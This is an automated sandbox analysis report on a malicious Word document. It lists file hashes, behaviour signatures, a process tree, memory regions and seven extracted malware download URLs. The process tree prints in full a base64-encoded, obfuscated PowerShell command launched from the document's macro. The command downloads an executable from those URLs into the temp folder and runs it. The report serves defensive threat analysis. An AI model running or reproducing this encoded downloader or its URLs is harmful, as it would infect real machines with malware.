Analysis

  • max time kernel
    103s
  • max time network
    30s
  • platform
    windows7_x64
  • resource
    win7-20230621-en
  • resource tags

    arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system
  • submitted
    30-06-2023 12:52

General

  • Target

    BAL_94G1BA0C0.doc

  • Size

    178KB

  • MD5

    d42e77a9116b6511efd39d230a7205a3

  • SHA1

    8543820a8562c6d5592a3cef444b75ba35062fae

  • SHA256

    f81e4de8069e9551180db92af779f1c19f7bfef0dde8f9696ae0b242d3fb8f2d

  • SHA512

    ea3e14cbde76d904b9f83db4139fd687a9276a1ee1515fb3099b62dfa7a980c8fe15618a0896df2cccbc895c5548e2f20e5efcb1ce96211d421991f3f54c2f5a

  • SSDEEP

    3072:w4PrXcuQuvpzm4bkiaMQgAlSB+XoBcRswY9cqP:NDRv1m4bnQgISBwoKRswY9cqP

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://alameenmission.net/cgi-bin/Ju1r8t/

exe.dropper

https://www.altopropiedades.cl/fonts/AWM/

exe.dropper

http://anisoph.com/cgi-bin/u95B/

exe.dropper

http://identisoft.pt/istore/7U/

exe.dropper

http://b3shop.net/calendar/nnxakTd/

exe.dropper

http://nourishmentjuices.com/wp-content/e/

exe.dropper

https://en.entechco.com.vn/wp-includes/9XMEI7/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 10 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BAL_94G1BA0C0.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2004
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1724
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABOAHgANQB1AGsAdAB3AD0AKAAnAEgAJwArACcAcwBzACcAKwAnADIAXwBzADQAJwApADsAJgAoACcAbgBlAHcAJwArACcALQBpAHQAZQBtACcAKQAgACQARQBOAFYAOgBUAEUAbQBwAFwATwBmAEYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAGAAVQBSAEkAdABgAHkAUABSAGAATwBUAG8AQwBPAEwAIgAgAD0AIAAoACcAdAAnACsAJwBsAHMAMQAyACcAKwAnACwAIAB0ACcAKwAnAGwAcwAnACsAJwAxADEALAAgAHQAbABzACcAKQA7ACQAWgBzADMAaQB5AHYAMwAgAD0AIAAoACcAVQBpAHIAeABsACcAKwAnAHQANwAnACsAJwB0ACcAKQA7ACQAUgA1AHIAMQAyAGQAcQA9ACgAJwBFAG8AcAAnACsAJwBuADcAdAB2ACcAKQA7ACQAQwBtADgAdAByAG0AMQA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAwAH0ATwAnACsAJwBmAGYAaQAnACsAJwBjACcAKwAnAGUAMgAwADEAOQB7ADAAfQAnACkALQBmACAAIABbAGMASABBAFIAXQA5ADIAKQArACQAWgBzADMAaQB5AHYAMwArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQAWgBpAF8ANQBfAHcAcwA9ACgAJwBDAHAAcAAnACsAJwBkAGYAeQAnACsAJwBfACcAKQA7ACQAVwBpAGMAdgAwAGkAYgA9ACYAKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAHQALgB3AGUAYgBjAGwAaQBlAE4AVAA7ACQAVgBkAGoANQBfAHMAMAA9ACgAJwBoAHQAJwArACcAdAAnACsAJwBwAHMAOgAvAC8AJwArACcAYQBsACcAKwAnAGEAbQAnACsAJwBlAGUAbgBtAGkAcwBzAGkAbwBuAC4AbgAnACsAJwBlAHQALwAnACsAJwBjAGcAJwArACcAaQAtAGIAaQBuAC8ASgAnACsAJwB1ACcAKwAnADEAcgA4ACcAKwAnAHQALwAqAGgAdAB0AHAAJwArACcAcwA6AC8AJwArACcALwAnACsAJwB3ACcAKwAnAHcAJwArACcAdwAuACcAKwAnAGEAJwArACcAbAB0ACcAKwAnAG8AJwArACcAcAByAG8AcABpACcAKwAnAGUAZABhAGQAZQAnACsAJwBzACcAKwAnAC4AJwArACcAYwBsAC8AZgBvAG4AdABzAC8AQQBXACcAKwAnAE0ALwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAvAC8AYQBuACcAKwAnAGkAJwArACcAcwBvAHAAJwArACcAaAAuAGMAJwArACcAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHUAOQA1AEIALwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AaQBkACcAKwAnAGUAbgB0ACcAKwAnAGkAcwBvAGYAdAAuACcAKwAnAHAAdAAnACsAJwAvAGkAcwB0AG8AJwArACcAcgBlACcAKwAnAC8ANwBVAC8AJwArACcAKgBoACcAKwAnAHQAJwArACcAdABwADoALwAvACcAKwAnAGIAMwAnACsAJwBzAGgAbwBwAC4AbgAnACsAJwBlACcAKwAnAHQALwBjACcAKwAnAGEAbABlAG4AZABhAHIALwBuAG4AJwArACcAeABhAGsAVABkACcAKwAnAC8AJwArACcAKgAnACsAJwBoACcAKwAnAHQAdABwADoALwAvAG4AbwB1AHIAaQAnACsAJwBzACcAKwAnAGgAbQAnACsAJwBlAG4AdABqACcAKwAnAHUAaQBjAGUAJwArACcAcwAnACsAJwAuACcAKwAnAGMAbwBtACcAKwAnAC8AdwBwAC0AYwBvACcAKwAnAG4AdABlACcAKwAnAG4AdAAvAGUALwAqACcAKwAnAGgAdAB0AHAAJwArACcAcwAnACsAJwA6AC8ALwAnACsAJwBlAG4ALgAnACsAJwBlAG4AdABlAGMAaABjAG8ALgBjACcAKwAnAG8AbQAuAHYAbgAvAHcAcAAtACcAKwAnAGkAbgBjAGwAJwArACcAdQAnACsAJwBkAGUAcwAvACcAKwAnADkAWAAnACsAJwBNAEUASQA3AC8AJwApAC4AIgBTAGAAUABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEgAZwB4AHoAZgBoAHQAPQAoACcAQgBiADQAZQAnACsAJwBuAGwAOAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABCAHIAZwA4AGIAZwBwACAAaQBuACAAJABWAGQAagA1AF8AcwAwACkAewB0AHIAeQB7ACQAVwBpAGMAdgAwAGkAYgAuACIAZABPAFcATgBgAEwATwBgAEEARABGAGkAbABFACIAKAAkAEIAcgBnADgAYgBnAHAALAAgACQAQwBtADgAdAByAG0AMQApADsAJABYADkAbgBrADgAegBuAD0AKAAnAEkAMwB4AG0AeQAnACsAJwBtAHYAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAEMAbQA4AHQAcgBtADEAKQAuACIAbABgAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADMAMAAwADYANQApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABDAG0AOAB0AHIAbQAxACkAOwAkAFIAYwB6ADgANwB1ADMAPQAoACcAUAA0ADAANABuACcAKwAnAG0ANAAnACkAOwBiAHIAZQBhAGsAOwAkAFQAaABoAGwAegA1AHgAPQAoACcATwBuAG4AdgAnACsAJwBnACcAKwAnADIAMQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgAMQB6AGoAaAAzAGEAPQAoACcAUAB2ACcAKwAnAG0AOABwACcAKwAnAGsAMAAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1784

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      4636e54214aab0ad983a37fc7347bbf4

      SHA1

      50b7806436627718f895ffa5f1be4a014c2f6079

      SHA256

      162e104aadb1adf69587a77e32adae3f99476be0afd84e3cdfcd888a3b5febde

      SHA512

      03bc2b65ea803d6e2c82cb7413abc0fc7727e89a280a2ca85e80f9b117c03e0d7cc71a03163532bb682de19bbeb6d5277850eab9e7ceff0c279ac75620c9b5a9

    • memory/1784-89-0x000000001B270000-0x000000001B552000-memory.dmp

      Filesize

      2.9MB

    • memory/1784-93-0x00000000027E0000-0x0000000002860000-memory.dmp

      Filesize

      512KB

    • memory/1784-92-0x00000000027E0000-0x0000000002860000-memory.dmp

      Filesize

      512KB

    • memory/1784-91-0x00000000027E0000-0x0000000002860000-memory.dmp

      Filesize

      512KB

    • memory/1784-90-0x00000000024E0000-0x00000000024E8000-memory.dmp

      Filesize

      32KB

    • memory/2004-76-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-79-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-66-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-67-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-73-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-72-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-74-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-75-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2004-77-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-78-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-65-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-80-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-81-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-83-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-82-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-64-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-62-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-63-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-61-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-60-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-59-0x0000000000610000-0x0000000000710000-memory.dmp

      Filesize

      1024KB

    • memory/2004-110-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB